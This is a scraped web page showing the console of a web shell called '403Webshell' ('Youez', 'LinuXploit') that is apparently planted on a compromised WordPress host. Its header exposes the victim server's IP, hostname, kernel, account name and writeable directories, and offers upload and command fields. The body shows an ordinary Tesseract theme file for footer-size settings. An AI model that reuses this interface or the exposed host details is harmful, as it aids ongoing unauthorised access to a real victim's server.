403Webshell
Server IP : 192.64.118.117  /  Your IP : 3.16.30.154
Web Server : LiteSpeed
System : Linux premium56.web-hosting.com 4.18.0-513.24.1.lve.1.el8.x86_64 #1 SMP Thu May 9 15:10:09 UTC 2024 x86_64
User : thecgapy ( 1160)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/thecgapy/www/wp-content/themes/TESSERACT/inc/sections/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/thecgapy/www/wp-content/themes/TESSERACT/inc/sections/footer-size.php
<?php
/*  
 * section FOOTER SIZE
 */					 			
	
$wp_customize->add_section( 'tesseract_footer_size' , array(
    	'title'      => __('Footer Size', 'tesseract'),
    	'priority'   => 1,
		'panel'      => 'tesseract_footer_options'
	) );	

	$wp_customize->add_setting( 'tesseract_footer_height', array(
			'transport'         => 'postMessage',
			'sanitize_callback' => 'absint',
			'default' 			=> 10
	) );			
		
		$wp_customize->add_control( 'tesseract_footer_height_control', array(
			'type'        		=> 'range',
			'priority'    		=> 2,
			'section'     		=> 'tesseract_footer_size',
			'settings'     		=> 'tesseract_footer_height',
			'label'       		=> 'Footer Height',
			'description' 		=> 'Use this range slider to set footer height',
			'input_attrs' 		=> array(
				'min'   => 0,
				'max'   => 50,
				'step'  => 5,
				'class' => 'tesseract-tfo-footer-height',
				'style' => 'color: #0a0',
			),
			'priority' 			=> 1
		) );
		
	$wp_customize->add_setting( 'tesseract_footer_width', array(
		'sanitize_callback' => 'tesseract_sanitize_select_footer_width',
		'default' 			=> 'default'
	) );
	
		$wp_customize->add_control(
			new WP_Customize_Control(
				$wp_customize,
				'tesseract_footer_width_control',
				array(
					'label'          => __( 'Select footer width', 'tesseract' ),
					'section'        => 'tesseract_footer_size',
					'settings'       => 'tesseract_footer_width',
					'type'           => 'select',
					'choices'        => array(
						'default'	=> 'Default',
						'fullwidth'	=> 'Full Width'
					),
					'priority' 		 => 2								
				)
			)
		);	
		
		$wp_customize->add_setting( 'tesseract_footer_blocks_width_prop', array(
				'transport'         => 'postMessage',
				'sanitize_callback' => 'absint',
				'default' 			=> 60
		) );			
			
			$wp_customize->add_control( 'tesseract_footer_blocks_width_prop_control', array(
				'type'        		=> 'range',
				'section'     		=> 'tesseract_footer_size',
				'settings'     		=> 'tesseract_footer_blocks_width_prop',
				'label'       		=> 'Footer Blocks Width Proportion',
				'description' 		=> 'Use this range slider to set the left and right content blocks\' width proportion',
				'input_attrs' 		=> array(
					'min'   => 20,
					'max'   => 80,
					'step'  => 10,
					'class' => 'tesseract-tfo-footer-blocks-width-prop',
					'style' => 'color: #0a0',
				),
				'priority' 			=> 3,
				'active_callback'	=> 'tesseract_footer_widthProp_enable'
			) );		

Youez - 2016 - github.com/yon3zu
LinuXploit